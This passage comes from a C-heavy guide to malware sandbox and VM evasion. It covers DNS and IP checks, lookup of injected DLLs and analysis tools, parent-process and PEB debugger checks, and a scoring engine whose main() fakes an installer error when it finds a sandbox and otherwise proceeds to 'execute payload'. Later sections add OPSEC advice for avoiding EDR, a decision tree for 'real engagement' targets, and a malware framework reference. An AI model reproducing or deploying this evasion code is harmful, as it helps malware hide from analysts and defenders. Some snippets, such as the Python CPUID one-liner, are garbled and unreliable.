    ULARGE_INTEGER boot_uli;
    boot_uli.QuadPart = boot_100ns;
    FILETIME ft_boot;
    ft_boot.dwLowDateTime  = boot_uli.LowPart;
    ft_boot.dwHighDateTime = boot_uli.HighPart;

    SYSTEMTIME boot_st;
    FileTimeToSystemTime(&ft_boot, &boot_st);

    printf("[*] Estimated last boot: %04d-%02d-%02d %02d:%02d:%02d UTC\n",
           boot_st.wYear, boot_st.wMonth, boot_st.wDay,
           boot_st.wHour, boot_st.wMinute, boot_st.wSecond);

    return FALSE;  // Informational only
}

13. Network Environment Checks

What it means: Sandbox network environments often use non-routable IPs (10.x, 192.168.x), simple one-hop DNS setups, or known sandbox gateway addresses. Corporate networks are more complex. Checking IP range, DNS response behavior, and network adapter count can indicate sandbox environments.

13.1 IP Range & DNS Check (C)

// network_check.c — Network environment sandbox indicators

#include <windows.h>
#include <winsock2.h>
#include <iphlpapi.h>
#include <ws2tcpip.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "iphlpapi.lib")

BOOL check_network_environment() {
    WSADATA wsaData;
    WSAStartup(MAKEWORD(2, 2), &wsaData);

    BOOL sandbox_indicator = FALSE;

    // Get all adapters
    ULONG bufLen = 0;
    GetAdaptersInfo(NULL, &bufLen);
    IP_ADAPTER_INFO* pAdapters = (IP_ADAPTER_INFO*)malloc(bufLen);

    if (GetAdaptersInfo(pAdapters, &bufLen) == ERROR_SUCCESS) {
        IP_ADAPTER_INFO* p = pAdapters;
        int adapter_count = 0;

        while (p) {
            adapter_count++;
            const char* ip = p->IpAddressList.IpAddress.String;
            const char* gw = p->GatewayList.IpAddress.String;

            printf("[*] Adapter %d: IP=%s GW=%s\n",
                   adapter_count, ip, gw);

            // VMware NAT: 192.168.x.x with specific ranges
            // VirtualBox NAT: 10.0.2.x (default)
            if (strncmp(ip, "10.0.2.", 7) == 0) {
                printf("[+] IP 10.0.2.x — VirtualBox NAT default range\n");
                sandbox_indicator = TRUE;
            }

            p = p->Next;
        }

        // Only 1 adapter = simple VM network (real machines usually have more)
        if (adapter_count == 1) {
            printf("[+] Single network adapter — simple VM network\n");
            // Don't flag alone — many real machines have 1 adapter
        }

        free(pAdapters);
    }

    // DNS resolution check: sandbox may return same IP for any domain
    // (redirected to INetSim/FakeNet)
    struct addrinfo *r1 = NULL, *r2 = NULL;
    getaddrinfo("microsoft.com", NULL, NULL, &r1);
    getaddrinfo("definitely.not.real.invalid.tld.xyz", NULL, NULL, &r2);

    if (r1 && r2) {
        // Both resolve → DNS is being faked (FakeNet/INetSim)
        char ip1[INET6_ADDRSTRLEN], ip2[INET6_ADDRSTRLEN];
        struct sockaddr_in* sin1 = (struct sockaddr_in*)r1->ai_addr;
        struct sockaddr_in* sin2 = (struct sockaddr_in*)r2->ai_addr;

        inet_ntop(AF_INET, &sin1->sin_addr, ip1, sizeof(ip1));
        inet_ntop(AF_INET, &sin2->sin_addr, ip2, sizeof(ip2));

        printf("[*] microsoft.com → %s\n", ip1);
        printf("[*] invalid.tld    → %s\n", ip2);

        if (strcmp(ip1, ip2) == 0) {
            printf("[+] DNS returning same IP for all queries — FakeNet/sandbox!\n");
            sandbox_indicator = TRUE;
        }

        freeaddrinfo(r1);
        freeaddrinfo(r2);
    }

    WSACleanup();
    return sandbox_indicator;
}

14. Loaded Module / Injected DLL Detection

What it means: Sandbox monitoring agents inject DLLs into the malware process to intercept API calls and record behavior. Detecting unexpectedly loaded modules (DLLs that shouldn't be in a normal process) is a strong sandbox indicator. Cuckoo's cuckoomon.dll, Sandboxie's SbieDll.dll, and similar monitoring DLLs are signatures to look for.

14.1 Module Enumeration Check (C)

// dll_check.c — Detect sandbox injected DLLs in process

#include <windows.h>
#include <tlhelp32.h>
#include <psapi.h>
#include <stdio.h>
#include <string.h>
#pragma comment(lib, "psapi.lib")

// Known sandbox/monitoring DLL names (lowercase)
const char* sandbox_dlls[] = {
    // Cuckoo Sandbox
    "cuckoomon.dll",
    "cuckoomon.dll",
    // Sandboxie
    "sbiedll.dll",
    "sbiehook.dll",
    // SunBelt CWSandbox
    "pstorec.dll",
    "vmdetect.dll",
    // Anubis sandbox
    "anubis.dll",
    // VirtualBox Guest Additions
    "vboxhook.dll",
    "vboxdisp.dll",
    "vboxogl.dll",
    "vboxservice.dll",
    // VMware
    "vmhgfs.dll",
    "vmtray.dll",
    // Joe Sandbox
    "joesandbox.dll",
    // Generic analysis hooking DLLs
    "dbghelp.dll",     // Suspiciously present in non-debug builds
    "api_log.dll",     // API logging artifacts
    "dir_watch.dll",   // Directory watcher
    NULL
};

BOOL detect_sandbox_dlls() {
    HANDLE hProcess = GetCurrentProcess();
    HMODULE hMods[1024];
    DWORD cbNeeded;
    BOOL found = FALSE;

    if (!EnumProcessModules(hProcess, hMods, sizeof(hMods), &cbNeeded))
        return FALSE;

    DWORD count = cbNeeded / sizeof(HMODULE);
    printf("[*] Loaded modules: %lu\n", count);

    for (DWORD i = 0; i < count; i++) {
        char mod_name[MAX_PATH];
        if (GetModuleBaseNameA(hProcess, hMods[i], mod_name, MAX_PATH)) {
            _strlwr(mod_name);

            for (int j = 0; sandbox_dlls[j]; j++) {
                if (strstr(mod_name, sandbox_dlls[j])) {
                    printf("[+] Sandbox DLL detected: %s\n", mod_name);
                    found = TRUE;
                }
            }
        }
    }

    return found;
}

// Also check via LDR_DATA_TABLE_ENTRY (PEB walk — harder to hook)
BOOL detect_sandbox_dlls_peb() {
#ifdef _WIN64
    PPEB pPeb = (PPEB)__readgsqword(0x60);
#else
    PPEB pPeb = (PPEB)__readfsdword(0x30);
#endif

    PLIST_ENTRY head = &pPeb->Ldr->InMemoryOrderModuleList;
    PLIST_ENTRY curr = head->Flink;

    while (curr != head) {
        LDR_DATA_TABLE_ENTRY* entry = CONTAINING_RECORD(
            curr, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);

        if (entry->BaseDllName.Buffer) {
            // Convert UNICODE_STRING to char for comparison
            char mod_name[256] = {0};
            WideCharToMultiByte(CP_ACP, 0,
                entry->BaseDllName.Buffer,
                entry->BaseDllName.Length / 2,
                mod_name, sizeof(mod_name) - 1, NULL, NULL);
            _strlwr(mod_name);

            for (int j = 0; sandbox_dlls[j]; j++) {
                if (strstr(mod_name, sandbox_dlls[j])) {
                    printf("[+] Sandbox DLL (PEB): %s\n", mod_name);
                    return TRUE;
                }
            }
        }
        curr = curr->Flink;
    }
    return FALSE;
}

15. Analysis Tool Detection

What it means: Security analysts often run the malware alongside monitoring tools: Wireshark for network capture, Process Monitor for filesystem/registry, x64dbg for debugging, Autoruns for persistence. Detecting these tools suggests the malware is being analyzed rather than running on a real target.

15.1 Analysis Tool Process Detection (C)

// analysis_tools.c — Detect security analyst tools

const char* analysis_tools[] = {
    // Debuggers
    "ollydbg.exe",
    "x32dbg.exe",
    "x64dbg.exe",
    "windbg.exe",
    "idaq.exe",       // IDA Pro
    "idaq64.exe",
    "idaw.exe",
    "idag.exe",
    "ida64.exe",
    "radare2.exe",
    "ghidra.exe",
    "cutter.exe",     // Cutter (Rizin/Radare2 GUI)
    "dnspy.exe",      // .NET debugger
    "dotpeek64.exe",  // dotPeek

    // Network analyzers
    "wireshark.exe",
    "tshark.exe",
    "fiddler.exe",
    "fiddlereverywhere.exe",
    "charles.exe",    // Charles Proxy
    "burpsuite.exe",

    // Process/file monitoring
    "procmon.exe",
    "procmon64.exe",
    "procexp.exe",
    "procexp64.exe",
    "autoruns.exe",
    "autorunsc.exe",
    "tcpview.exe",
    "regmon.exe",
    "filemon.exe",
    "processhacker.exe",
    "pestudio.exe",
    "pe-bear.exe",

    // Disassemblers / RE tools
    "cffexplorer.exe",
    "resourcehacker.exe",
    "depends.exe",    // Dependency Walker
    "apimonitor.exe",
    "apihound.exe",

    // Sandbox-specific
    "vboxservice.exe",
    "vboxtray.exe",
    "vmtoolsd.exe",
    "vmwaretray.exe",

    NULL
};

int detect_analysis_tools() {
    int hits = 0;
    for (int i = 0; analysis_tools[i]; i++) {
        if (process_running(analysis_tools[i])) {  // Reuse from §4.1
            printf("[+] Analysis tool found: %s\n", analysis_tools[i]);
            hits++;
        }
    }
    return hits;
}

15.2 Window Title Check

// window_check.c — Find analysis tool windows by title

#include <windows.h>
#include <stdio.h>
#include <string.h>

const char* analysis_window_titles[] = {
    "OllyDbg",
    "x64dbg",
    "x32dbg",
    "WinDbg",
    "IDA Pro",
    "Wireshark",
    "Fiddler",
    "Process Monitor",
    "Process Explorer",
    "Autoruns",
    "TCPView",
    "Sandboxie",
    "Process Hacker",
    NULL
};

BOOL CALLBACK enum_windows_cb(HWND hWnd, LPARAM lParam) {
    int* count = (int*)lParam;
    char title[256] = {0};
    GetWindowTextA(hWnd, title, sizeof(title));

    for (int i = 0; analysis_window_titles[i]; i++) {
        if (StrStrIA(title, analysis_window_titles[i])) {
            printf("[+] Analysis window found: '%s'\n", title);
            (*count)++;
        }
    }
    return TRUE;
}

int detect_analysis_windows() {
    int count = 0;
    EnumWindows(enum_windows_cb, (LPARAM)&count);
    return count;
}

16. Parent Process & Execution Context

What it means: On a real system, legitimate executables are typically launched by explorer.exe (double-click), cmd.exe, or similar shells. In a sandbox, malware samples are often launched programmatically — directly by the sandbox runner process. An unusual parent process (not explorer.exe) is suspicious. Some malware also detects when it's being run under a debugger via the PEB BeingDebugged flag.

16.1 Parent Process Check (C)

// parent_check.c — Check if parent process is legitimate

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#include <string.h>

char* get_process_name(DWORD pid, char* out, DWORD out_size) {
    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snap == INVALID_HANDLE_VALUE) return NULL;

    PROCESSENTRY32A pe = { sizeof(pe) };
    if (Process32FirstA(snap, &pe)) {
        do {
            if (pe.th32ProcessID == pid) {
                strncpy_s(out, out_size, pe.szExeFile, _TRUNCATE);
                _strlwr(out);
                CloseHandle(snap);
                return out;
            }
        } while (Process32NextA(snap, &pe));
    }
    CloseHandle(snap);
    return NULL;
}

DWORD get_parent_pid() {
    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snap == INVALID_HANDLE_VALUE) return 0;

    DWORD my_pid = GetCurrentProcessId();
    PROCESSENTRY32A pe = { sizeof(pe) };
    DWORD parent_pid = 0;

    if (Process32FirstA(snap, &pe)) {
        do {
            if (pe.th32ProcessID == my_pid) {
                parent_pid = pe.th32ParentProcessID;
                break;
            }
        } while (Process32NextA(snap, &pe));
    }
    CloseHandle(snap);
    return parent_pid;
}

BOOL check_parent_process() {
    DWORD parent_pid = get_parent_pid();
    char parent_name[256] = {0};

    if (!get_process_name(parent_pid, parent_name, sizeof(parent_name))) {
        printf("[+] Cannot get parent process name — suspicious\n");
        return TRUE;
    }

    printf("[*] Parent process: %s (PID %lu)\n", parent_name, parent_pid);

    // Legitimate parents for a regular exe
    const char* legit_parents[] = {
        "explorer.exe",
        "cmd.exe",
        "powershell.exe",
        "wscript.exe",
        "cscript.exe",
        "msiexec.exe",
        "svchost.exe",
        NULL
    };

    for (int i = 0; legit_parents[i]; i++) {
        if (strcmp(parent_name, legit_parents[i]) == 0) return FALSE;
    }

    // Unknown / unusual parent
    printf("[+] Unusual parent process: %s\n", parent_name);
    return TRUE;
}

16.2 PEB Debugger Detection

// peb_debug.c — Check PEB for debugger presence

#include <windows.h>
#include <winternl.h>
#include <stdio.h>

BOOL is_debugger_present_peb() {
#ifdef _WIN64
    PPEB pPeb = (PPEB)__readgsqword(0x60);
#else
    PPEB pPeb = (PPEB)__readfsdword(0x30);
#endif

    // PEB.BeingDebugged (offset 0x02)
    BOOL being_debugged = pPeb->BeingDebugged;

    // PEB.NtGlobalFlag (offset 0x68 on x64, 0x68 on x86)
    // Under debugger: NtGlobalFlag has specific bits set:
    // FLG_HEAP_ENABLE_TAIL_CHECK (0x10) +
    // FLG_HEAP_ENABLE_FREE_CHECK (0x20) +
    // FLG_HEAP_VALIDATE_PARAMETERS (0x40) = 0x70
#ifdef _WIN64
    DWORD nt_global_flag = *(DWORD*)((BYTE*)pPeb + 0xBC);
#else
    DWORD nt_global_flag = *(DWORD*)((BYTE*)pPeb + 0x68);
#endif

    BOOL debugger_heap_flags = (nt_global_flag & 0x70) == 0x70;

    printf("[*] PEB.BeingDebugged: %d\n", being_debugged);
    printf("[*] PEB.NtGlobalFlag:  0x%lX (debugger heap: %s)\n",
           nt_global_flag, debugger_heap_flags ? "YES" : "NO");

    // Also check IsDebuggerPresent (kernel32 wrapper)
    BOOL api_check = IsDebuggerPresent();
    printf("[*] IsDebuggerPresent: %d\n", api_check);

    return (being_debugged || debugger_heap_flags || api_check);
}

17. Scoring Framework — Multi-Check Aggregator

What it means: No single check is reliable alone. Use a scoring system: each check that fires adds points; if total score exceeds a threshold, abort/behave benignly. This reduces false positives on hardened sandboxes while still catching most real sandboxes, and avoids obvious single-signal blocking.

17.1 Scoring Engine (C)

// score_engine.c — Multi-check sandbox detection with scoring

#include <windows.h>
#include <stdio.h>

typedef struct {
    const char* name;
    int         weight;       // Points for this check firing
    BOOL      (*check_fn)();  // Function pointer to check
} SandboxCheck;

// All checks with weights
// Higher weight = more reliable indicator
SandboxCheck checks[] = {
    // ─── Highest confidence (3 pts) ──────────────────────────
    { "CPUID hypervisor bit",       3, cpuid_detect_vm           },
    { "VM process found",           3, (BOOL(*)())check_vm_processes  },
    { "VM registry key",            3, (BOOL(*)())detect_vmware_registry },
    { "VBox registry key",          3, (BOOL(*)())detect_vbox_registry  },
    { "VM file artifact",           3, (BOOL(*)())check_vm_files        },
    { "Sandbox DLL injected",       3, detect_sandbox_dlls              },

    // ─── High confidence (2 pts) ─────────────────────────────
    { "VM MAC address",             2, check_mac_addresses         },
    { "SMBIOS VM string",           2, check_smbios_for_vm_strings },
    { "WMI VM manufacturer",        2, (BOOL(*)())wmi_detect_vm   },
    { "VM service found",           2, (BOOL(*)())check_vm_services},
    { "VM GPU detected",            2, detect_vm_gpu               },
    { "Analysis tool running",      2, (BOOL(*)())detect_analysis_tools },

    // ─── Medium confidence (1 pt) ────────────────────────────
    { "Low CPU count (<4)",         1, sandbox_cpu_cores           },
    { "Low RAM (<4GB)",             1, sandbox_low_ram             },
    { "Small disk (<100GB)",        1, sandbox_disk_size_freespace },
    { "Low uptime (<12min)",        1, sandbox_low_uptime          },
    { "Sandbox username",           1, check_username              },
    { "Sandbox hostname",           1, check_hostname              },
    { "No user mouse activity",     1, (BOOL(*)())sandbox_no_user_input  },
    { "Few recent files (<10)",     1, sandbox_no_recent_files     },
    { "Low process count (<25)",    1, sandbox_low_process_count   },
    { "Few temp files (<10)",       1, sandbox_few_temp_files      },
    { "DNS all-same response",      1, (BOOL(*)())check_network_environment },
    { "Suspicious parent process",  1, check_parent_process        },
    { "Debugger detected (PEB)",    1, is_debugger_present_peb     },

    { NULL, 0, NULL }
};

#define SANDBOX_THRESHOLD 5  // Trigger at 5+ points

int run_sandbox_checks() {
    int total_score = 0;

    printf("╔══════════════════════════════════════════════╗\n");
    printf("║       SANDBOX DETECTION REPORT               ║\n");
    printf("╚══════════════════════════════════════════════╝\n\n");

    for (int i = 0; checks[i].name; i++) {
        BOOL result = FALSE;

        __try {
            result = checks[i].check_fn();
        } __except(EXCEPTION_EXECUTE_HANDLER) {
            printf("[!] Exception in check: %s\n", checks[i].name);
            result = FALSE;
        }

        if (result) {
            total_score += checks[i].weight;
            printf("[✗] HIT  [+%d] %s\n", checks[i].weight, checks[i].name);
        } else {
            printf("[✓] PASS [  ] %s\n", checks[i].name);
        }
    }

    printf("\n══════════════════════════════════════\n");
    printf("Total Score:   %d\n", total_score);
    printf("Threshold:     %d\n", SANDBOX_THRESHOLD);
    printf("Verdict:       %s\n", total_score >= SANDBOX_THRESHOLD ?
           "SANDBOX DETECTED — Aborting" : "Real Machine — Proceeding");
    printf("══════════════════════════════════════\n");

    return total_score;
}

int main() {
    int score = run_sandbox_checks();

    if (score >= SANDBOX_THRESHOLD) {
        // Appear benign — show error, open browser, exit cleanly
        // NEVER crash — crashes are flagged as malicious
        MessageBoxA(NULL,
            "This application requires a reboot to complete installation.",
            "Setup", MB_OK | MB_ICONINFORMATION);
        ExitProcess(0);
    }

    // Real machine — execute payload
    // ...
    return 0;
}

17.2 Scoring Matrix

Score thresholds:
  0-2:  Very likely real machine → proceed
  3-4:  Uncertain → add time delay before proceeding (§ Delayed Execution)
  5+:   Likely sandbox → behave benignly and exit

Weight rationale:
  3 pts: Hardware-level checks (CPUID, VM processes, SMBIOS)
         Hard to fake without full VM reconfiguration
  2 pts: Strong artifact checks (registry, DLLs, files, GPU)
         Fakeable but requires specific sandbox hardening
  1 pt:  Weak / easily faked signals (username, RAM, uptime)
         Real machines can score low here too (new VM on target!)

[FP] False positive mitigation:
  Corporate developer machines: may have Hyper-V (Docker), low uptime
  Cloud VMs: CPUID will always fire → reduce threshold or skip CPUID
  CI/CD pipelines: low process count, sandbox-like environment
  → Adjust weights based on target environment profile

18. Tools Reference

18.1 al-khaser — PoC Sandbox Detection Tool

# [TOOL] al-khaser — Comprehensive sandbox/VM/debugger detection PoC
# GitHub: https://github.com/ayoubfaouzi/al-khaser
# Author: ayoubfaouzi (Ayoub Faouzi)
# Purpose: Test sandbox/AV evasion robustness

# Build
git clone https://github.com/ayoubfaouzi/al-khaser
# Open al-khaser.sln in Visual Studio → Build

# Usage
al-khaser.exe                                    # Run ALL checks
al-khaser.exe --check VMWARE                     # Only VMware checks
al-khaser.exe --check VBOX                       # Only VirtualBox checks
al-khaser.exe --check GEN_SANDBOX                # Generic sandbox checks
al-khaser.exe --check DEBUG                      # Anti-debug checks
al-khaser.exe --check TIMING_ATTACKS             # Timing-based checks
al-khaser.exe --check ANALYSIS_TOOLS             # Analysis tool detection
al-khaser.exe --check VMWARE --check VBOX --check GEN_SANDBOX
al-khaser.exe --check DEBUG --check TIMING_ATTACKS --sleep 30

# Check categories:
# GEN_SANDBOX   — Generic sandbox checks (hostname, user, disk, RAM, CPU)
# VBOX          — VirtualBox detection (registry, files, processes, ACPI)
# VMWARE        — VMware detection (registry, processes, CPUID, MAC)
# VPC           — Virtual PC detection
# QEMU          — QEMU detection
# KVM           — KVM detection
# HYPERV        — Hyper-V detection
# XEN           — Xen detection
# WINE          — Wine detection
# PARALLELS     — Parallels detection
# ANALYSIS_TOOLS — Analysis tools (debuggers, AV, monitoring)
# TIMING_ATTACKS — Sleep-skip detection, RDTSC timing

18.2 Pafish — Paranoid Fish

# [TOOL] Pafish — Sandbox/VM detection PoC (comprehensive, well-documented)
# GitHub: https://github.com/a0rtega/pafish
# Purpose: Detect VMs, sandboxes, debuggers, analysis tools

# Build (Visual Studio)
git clone https://github.com/a0rtega/pafish

# Runs as standalone EXE — no args needed
pafish.exe

# Output: Green = clean, Red = detected
# Covers:
#   - Debugger detection (PEB, API, timing)
#   - VMware detection (CPUID, registry, processes, I/O port)
#   - VirtualBox detection (registry, files, processes, ACPI, CPUID)
#   - Wine detection
#   - Human interaction checks (mouse, clicks, recent files)
#   - Sandbox checks (hostname, username, disk size)

18.3 InviZzzible — VM Detection Reference

# [TOOL] InviZzzible — Advanced VM/sandbox detection framework
# GitHub: https://github.com/CheckPointSW/InviZzzible
# Publisher: Check Point Research

# Comprehensive checks including:
#   - SMBIOS table scanning
#   - ACPI table fingerprinting
#   - CPU brand string checks
#   - Hypervisor vendor leaf (EAX=0x40000000)
#   - Many anti-debug and anti-VM techniques not in al-khaser

18.4 ColdFire — Go Malware Framework

# [TOOL] ColdFire — Golang malware development framework
# GitHub: https://github.com/hac01/Coldfire_go_malware

# Built-in sandbox detection functions:
#   DetectSandbox()         — runs all sandbox checks
#   DetectSandboxFiles()    — filesystem artifacts
#   DetectSandboxProcesses()— process name check
#   DetectSleepAcceleration()— sleep skip detection
#   DetectSmallDisk()       — disk size check
#   DetectSmallCPU()        — CPU core count check
#   DetectSmallRam()        — RAM size check
#   DetectVMMAC()           — MAC address OUI check
#   DetectUTCTime()         — UTC timezone check

# Usage in Go:
# import "github.com/hac01/coldfire"
# if coldfire.DetectSandbox(3) { os.Exit(0) }  // Abort if 3+ checks fire

18.5 Evasions.CheckPoint.com — Reference Database

# [TOOL] CheckPoint Evasions Database
# URL: https://evasions.checkpoint.com
# 
# Comprehensive reference for:
#   - Timing-based evasion
#   - Human interaction checks
#   - Registry artifacts
#   - WMI detection methods
#   - Network environment checks
#   - CPUID / RDTSC timing attacks
#   - SMBIOS / firmware checks
#
# Each technique has C/PowerShell code samples + sandbox counter-measures

18.6 Detection Testing Commands

# Test if your sandbox is hardened against al-khaser

# Run al-khaser in sandbox environment
al-khaser.exe --check VMWARE --check VBOX --check GEN_SANDBOX 2>&1

# Run pafish standalone
pafish.exe

# PowerShell one-liner — quick VM check
powershell -c "$cs=Get-WmiObject Win32_ComputerSystem;
  Write-Host $cs.Manufacturer $cs.Model;
  $b=Get-WmiObject Win32_BIOS;
  Write-Host $b.Manufacturer $b.SMBIOSBIOSVersion;
  $g=Get-WmiObject Win32_VideoController;
  Write-Host $g.Name"

# Quick MAC check
powershell -c "Get-WmiObject Win32_NetworkAdapterConfiguration |
  Where MACAddress | Select MACAddress"

# CPUID via Python (ctypes)
python3 -c "
import ctypes
cpuid = ctypes.CFUNCTYPE(None)(
    (lambda: ctypes.create_string_buffer(b'\x0f\xa2\xc3', 3)).__call__())
"

19. Detection & Counter-Detection

19.1 How Modern Sandboxes Counter Sandbox Detection

Counter-measure              What it does                      Bypass
────────────────────────────────────────────────────────────────────────────
Registry key removal       Delete VM tool registry keys      SMBIOS / ACPI
Process hiding             Hide vmtoolsd.exe etc.            Module enumeration
CPUID patching             Clear hypervisor bit              Vendor string check
Sleep acceleration          Hook Sleep() → return 0 ms       GetTickCount verify
MAC address spoofing       Change NIC MAC to Intel/Realtek   SMBIOS / CPUID
Fake username/hostname     Use realistic values              Disk size / uptime
Memory inflation           Report 8+ GB RAM                  IOCTL disk check
CPU core inflation         Report 4+ cores                   SMBIOS / CPUID
Mouse simulation           Move cursor randomly              GetLastInputInfo
Recent file planting        Add fake recent files            Multiple checks
FakeNet / INetSim          Respond to all DNS/HTTP           DNS all-same-IP

19.2 Hardened Sandbox Evasion Strategy

1. Layer independent checks:
   → If sandboxes counter registry → use SMBIOS + CPUID
   → If they counter CPUID → use SMBIOS + firmware tables
   → If they counter processes → use loaded module PEB walk

2. Use scoring with threshold:
   → 1 check fired = don't abort (may be false positive)
   → 3+ checks fired = abort
   → Threshold prevents aborting on hardened sandboxes with 1-2 counters

3. Prefer hardware-level checks:
   → CPUID vendor string leaf (EAX=0x40000000): 12-byte string hard to fake
   → SMBIOS firmware scan: requires OS-level SMBIOS patching to defeat
   → RDTSC timing: hardware-level, can't fake without nested virtualization

4. Human interaction as final gate:
   → Even perfect sandbox can't fake 30 days of real user activity
   → Recent files, browser history, desktop icons build over time
   → Wait for mouse movement (most sandbox simulators move in patterns)

5. Network fingerprint:
   → FakeNet DNS: returns same IP for all domains
   → Real corp network: microsoft.com ≠ your-payload-domain

19.3 When to NOT Detect Sandbox (OPSEC)

[OPSEC] Danger of aggressive sandbox detection:
  - AV/EDR products now detect sandbox evasion behavior itself!
  - Querying many VM-related registry keys in rapid succession = IOC
  - Enumerating all processes looking for vmtoolsd.exe = flagged
  - Multiple GetTickCount calls around a Sleep = flagged

[OPSEC] Balanced approach:
  - Limit to 5-7 checks max per run
  - Space checks apart in time (don't run all at once)
  - Prioritize passive checks (disk size, RAM via WMI) over
    active registry scans
  - Never enumerate all processes — just check for 2-3 specific ones
  - Combine into a single WMI query (fewer API calls)

[DETECT] What defenders look for:
  - Process querying multiple VM registry keys in rapid succession
  - WMI queries for Win32_BIOS + Win32_ComputerSystem + Win32_VideoController
  - EnumProcesses followed by string comparison loop
  - CPUID execution + conditional branch based on result (disassembly)
  - GetCursorPos in tight loop with no UI

20. Comparison Matrix

Technique Reliability Sandbox Counterable Complexity FP Risk Speed
CPUID hypervisor bit Very High Yes (bit mask) Low Medium Very Fast
CPUID vendor string Very High Hard Low Medium Very Fast
CPUID inconsistency High Very Hard Medium Low Very Fast
VMware registry keys High Yes (removable) Low Low Fast
VBox registry keys High Yes (removable) Low Low Fast
VM process names High Yes (hideable) Low Low Fast
VM file artifacts High Yes (removable) Low Low Fast
MAC address OUI Medium Yes (spoofable) Low High Fast
SMBIOS firmware scan Very High Hard Medium Low Medium
ACPI table check Very High Hard Medium Low Medium
WMI Manufacturer High Yes (editable) Medium Low Medium
GPU name High Yes (rename-able) Low Low Fast
CPU core count Medium Yes (inflateable) Low High Very Fast
RAM size Medium Yes (inflateable) Low High Very Fast
Disk size Medium Yes (inflateable) Low Medium Fast
Sandbox DLL High Yes (rename-able) Low Low Fast
Username/hostname Medium Yes (changeable) Low Medium Very Fast
Low uptime Medium Yes (patchable) Low Medium Very Fast
Mouse movement High Hard (needs HW) Medium Low Slow
Recent files count High Hard (needs time) Medium Low Medium
DNS all-same IP High FakeNet can vary Low Low Medium
PEB debugger flag High Patchable Low Low Very Fast
Scoring framework Very High Hard (all layers) High Very Low Slow

21. Cheat Sheet

Decision Tree

Need to detect sandbox?
│
├─ CTF / Learning?
│   └─ Check CPUID bit + VMware registry key → simple and effective
│
├─ Real engagement?
│   ├─ Target: cloud VMs (AWS/Azure/GCP)?
│   │   └─ SKIP CPUID (false positive!)
│   │       Use: disk size + RAM + username + recent files
│   │
│   ├─ Target: corporate endpoints?
│   │   └─ Full scoring (§17): hardware + VM artifacts + user activity
│   │
│   └─ Maximum stealth (fewest API calls)?
│       └─ 1x WMI query (gets all HW info at once)
│           + CPUID + sleep verification (§Delayed Execution §9)
│
└─ Want to test your own sandbox is hardened?
    └─ Run al-khaser + pafish → see what fires

Registry Artifact Quick Reference

VMware Tools:
  HKLM\SOFTWARE\VMware, Inc.\VMware Tools
  HKLM\SYSTEM\CurrentControlSet\Services\vmhgfs
  HKLM\HARDWARE\Description\System\VideoBiosVersion → "VMware"

VirtualBox:
  HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions
  HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest
  HKLM\HARDWARE\ACPI\DSDT\VBOX__

Hyper-V:
  HKLM\SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters
  HKLM\SYSTEM\CurrentControlSet\Services\vmbus

Process / Service Quick Reference

VMware:  vmtoolsd.exe, vmwaretray.exe, vmwareuser.exe, VGAuthService.exe
VBox:    VBoxService.exe, VBoxTray.exe, VBoxClient.exe
QEMU:    qemu-ga.exe
Sandbox: SbieSvc.exe, cuckoomon.dll (DLL), joeboxserver.exe

MAC OUI Quick Reference

00:0C:29 / 00:50:56 — VMware
08:00:27            — VirtualBox
00:15:5D            — Hyper-V (also WSL2, Docker!)
52:54:00            — QEMU/KVM
00:16:3E            — Xen / AWS EC2 (FP risk!)
00:1C:42            — Parallels

PowerShell One-Liners

# Quick VM check — one line
(Get-WmiObject Win32_ComputerSystem).Manufacturer

# Full WMI scan
Get-WmiObject Win32_BIOS, Win32_ComputerSystem, Win32_VideoController |
  Select Manufacturer, Model, Name, SerialNumber | Format-List

# Registry check
Test-Path "HKLM:\SOFTWARE\VMware, Inc.\VMware Tools"
Test-Path "HKLM:\SOFTWARE\Oracle\VirtualBox Guest Additions"

# Process check
Get-Process | Where-Object {$_.Name -match "vmtoolsd|VBoxTray|vmwaretray"}

# MAC address check
Get-WmiObject Win32_NetworkAdapterConfiguration | Where MACAddress |
  Select-Object MACAddress | ForEach { $_.MACAddress }

# Recent files count
(Get-ChildItem "$env:APPDATA\Microsoft\Windows\Recent" -ErrorAction SilentlyContinue).Count

# CPU + RAM + Disk
$cs = Get-WmiObject Win32_ComputerSystem
"CPU: $($cs.NumberOfLogicalProcessors) | RAM: $([Math]::Round($cs.TotalPhysicalMemory/1GB,1))GB"
(Get-WmiObject Win32_LogicalDisk -Filter "DeviceID='C:'").Size / 1GB

Python One-Liners (Quick Sandbox Check)

#!/usr/bin/env python3
# quick_sandbox.py — Cross-platform sandbox fingerprinting (Python)

import subprocess, platform, os, ctypes, sys

# OS info
print(f"OS: {platform.platform()}")
print(f"User: {os.getlogin()}")
print(f"Host: {platform.node()}")

# WMI via PowerShell
r = subprocess.run(["powershell", "-c",
    "(Get-WmiObject Win32_ComputerSystem).Manufacturer"],
    capture_output=True, text=True)
print(f"Manufacturer: {r.stdout.strip()}")

# CPU count
import multiprocessing
print(f"CPUs: {multiprocessing.cpu_count()}")

# RAM
import psutil  # pip install psutil
print(f"RAM: {psutil.virtual_memory().total / 1e9:.1f} GB")
print(f"Disk: {psutil.disk_usage('/').total / 1e9:.1f} GB")

# Suspicious username check
suspicious = ['sandbox','malware','virus','sample','test','analyst','john']
user = os.getlogin().lower()
if any(s in user for s in suspicious):
    print(f"[!] Suspicious username: {user}")

All CPUID Checks

EAX=1,  ECX bit 31: Hypervisor present bit (1=VM)
EAX=0x40000000:
  EBX+ECX+EDX = 12-byte vendor string:
    VMwareVMware  → VMware
    VBoxVBoxVBox  → VirtualBox
    Microsoft Hv  → Hyper-V
    KVMKVMKVM\0   → KVM
    TCGTCGTCGTCG  → QEMU (TCG)
    XenVMMXenVMM  → Xen
    prl hyperv    → Parallels

vmx.vmx config (VMware VM hardening):
  cpuid.1.ecx="0---:----:----:----:----:----:----:----"
  (masks hypervisor bit 31 from guests)

References & Tools

